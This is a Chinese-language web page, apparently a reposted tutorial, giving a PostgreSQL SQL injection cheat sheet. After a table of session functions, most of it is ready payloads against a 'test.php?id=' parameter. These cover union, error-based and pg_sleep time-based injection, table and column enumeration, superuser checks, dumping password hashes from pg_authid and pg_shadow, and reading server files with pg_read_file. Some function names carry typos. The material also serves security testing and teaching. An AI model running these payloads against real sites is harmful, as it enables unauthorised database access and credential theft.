好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

PostgreSQL SQLinject 基础篇 - 网站安全 - 自学php

今天遇到一个pg的变态站,索性做下pg总结

1.会话信息函数

名称 返回类型 描述 current_catalog name 当前数据库名(在SQL标准里叫]catalog]) current_database() name 当前数据库名 urrent_schema[()] name 当前模式名 current_schemas( boolean ) name[] 搜索路径中的模式名字,包括可选的隐式模式 current_user name 当前执行环境下的用户名 current_query() text 执行当前的文本查询,由客户端提交(可能包含多于1句) pg_backend_pid() int 连接到当前会话的服务器进程 ID pg_listening_channels() setof text 正在侦听的当前会话的信道名称 inet_client_addr() inet 连接的远端地址 inet_client_port() int 连接的远端端口 inet_server_addr() inet 连接的本地地址 inet_server_port() int 连接的本地端口 pg_my_temp_schema() oid 会话的临时模式的OID ,不存在则为 0 pg_is_other_temp_schema( oid ) boolean 是否为另一个会话的临时模式? pg_postmaster_start_time() timestamp with time zone 服务器启动时间 pg_conf_load_time() timestamp with time zone 配置加载时间 session_user name 会话用户名 user name 等价于current_user version() text PostgreSQL版本信息

标黑的为常用函数.

2.注入

回显方式

test.php?id=1 order by 5–+判断字段 test.php?id=-1 union select null,null,null,null,null–+//需要判断字段类型,先用null填充 test.php?id=1 union select null,’1‘,null,null,null–+//测试类型和回显位置 test.php?id=1 union select null,version(),null,null,null–+ //查看数据库信息,其他注入语句类似

错误回显方式

test.php?id=1 and 1=(select version())::int–+ test.php?id=1  and 1=(select version() as int)–+

延时方式

test.php?id=1;select pg_sleep(10)–+

 

基本语句:

SELECT table_name FROM information_schema.tables WHERE table_schema = ‘public’ limit 1 offset n;//table_schema = ‘public’排出系统表,表 SELECT column_name FROM information_schema.columns WHERE table_name =’table’ limit 1 offset n; //字段

 

select relname from pg_class limit 1 offset n;//获取表名 select oid from pg_class where relname=tablename;//获取oid select attname from pg_attribute where attrelid=16402 limit 1 offset n;//获取列名 select attname from pg_attribute where attrelid=(select oid from pg_class where relname=(select relname from pg_stat_user_tables limit 1 offset 1)) limit 1 offset 1; //合并前三个

获取数据库名 //pg不能跨库,只能在终端上切换(以下两个功能一样)

select datname from pg_database limit 1 offset 1; select datname from pg_stat_database limit 1 offset 1;

判断当前用户是否为超级用户(返回值为bool)

select usesurper  from pg_user where usename=current_user; select usesurper from pg_shadow where usename=current_user;

获取数据库帐号hash(此帐号也会在系统中建立,需usesurper权限查看)

select rolname,rolpassword from pg_authid ; select usename,passwd from pg_shadow;

获取pg安装路径

SELECT current_setting(‘hba_file’) ;

 

3.系统函数

pg_logdir_ls(),pg_ls_dir(),pg_file_rename(),pg_write_file(), pg_read_file(),pg_file_length() 为内置函数,可以进行读写等操作,不过他们都被限制在pg的指定目录下,也是鸡肋

如:select  pg_read_file(‘global/pg_database’,0,10000000);

 

4.基本操作符

– ,/* //注释符

::   //PostgreSQL 特有的类型转换操作符

||  // 连接符

$q$text$q$    //$$  之间可以是任意内容,来代替单引号。原理看这: $q$逃逸语法

查看更多关于PostgreSQL SQLinject 基础篇 - 网站安全 - 自学php的详细内容...

  阅读:45次